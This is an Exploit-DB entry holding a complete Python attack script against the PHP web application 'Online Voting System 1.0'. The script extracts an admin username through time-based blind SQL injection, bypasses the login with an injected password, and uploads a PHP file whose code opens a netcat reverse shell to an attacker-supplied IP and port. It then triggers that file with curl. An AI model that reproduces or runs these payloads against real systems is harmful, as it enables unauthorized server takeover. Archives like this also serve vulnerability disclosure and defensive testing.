Exploit-DB #50088
Description: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Geiseric

Exploit:
# Exploit Title: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)
# Exploit Author: Geiseric
# Original Exploit Author: deathflash1411 - https://www.exploit-db.com/exploits/50076 - https://www.exploit-db.com/exploits/50075
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

import requests
import os
import sys
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
import random




if len(sys.argv) < 4:
	print('[+] Usage: python3 ovsploit.py http://<ip> <your ip> <your port>')
	exit()

url = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]


exp_url = '/Online_voting_system/admin/save_candidate.php'
login_url = '/Online_voting_system/admin/'


def first_get():

	r = requests.get(url+login_url)
	return r.headers['Set-Cookie']


def retrieve_first_admin():
	print("[!] Stage 1: Finding a valid admin user through SQL Injection")
	cookie = first_get()
	count = 0
	i=1
	flag = True
	admin = ''
	while flag:
		for j in range(32,128):
			r = requests.post(url+login_url,data={'UserName': """aasd' AND (SELECT 7303 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(UserName AS NCHAR),0x20) FROM users WHERE User_Type = "admin" LIMIT 0,1),"""+str(i)+""",1))="""+str(j)+""",0,1)))))PwbW)-- qRBs""",'Password': 'asd','Login':''},headers={"Cookie":cookie})
			if (r.elapsed.total_seconds() > 1):
				admin += chr(j)
				i+=1
				sys.stdout.write("\rAdmin User: "+ admin)
				sys.stdout.flush()
				count=0
			else:
				if count == 100:
					flag = False
					break
				else:
					count += 1
	print("\n[+] First admin user found!")
	print("[!] Starting Stage 2")
	return admin




def id_generator(size=6, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))+'.php'



def login_bypass(cookie):
	username = retrieve_first_admin()
	print("[!] Stage 2 started: Bypassing Login...")
	r = requests.post(url+login_url,data={'UserName': username,'Password': "' or ''='",'Login':''}, headers={'Cookie':cookie})
	return cookie



def rev_write():
	name = id_generator()
	f = open(name,'w')
	f.write('<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' +attacker_ip+ " " + attacker_port+' >/tmp/f"); ?>')
	f.close()
	print('[+] Generated file with reverse shell: ' +name)
	return name


def exploit(cookie):
	print("[+] Uploading reverse shell...")
	filename=rev_write()
	multipart_data = MultipartEncoder(

		{
	            # a file upload field
	            'image': (filename, open(filename, 'rb'), 'application/x-php'),
	            # plain text fields
	            'user_name': 'admin',
	            'rfirstname': 'test',
	            'rlastname': 'test',
	            'rgender': 'Male',
	            'ryear': '1st year',
	            'rmname': 'test',
	            'rposition': 'Governor',
	            'party': 'test',
	            'save': 'save'
	           }
    	)
	r = requests.post(url+exp_url, data=multipart_data, headers={'Content-Type': multipart_data.content_type, 'Cookie':cookie})
	return filename




filename = exploit(login_bypass(first_get()))
print("[!] Triggering...")
input('[+] Please start a listener on port ' + attacker_port +' then press Enter to get shell.')
os.system('curl '+url+'/Online_voting_system/admin/upload/'+filename+' -m 1 -s')
print("[+] Cleaning up!")

os.system("rm "+ filename)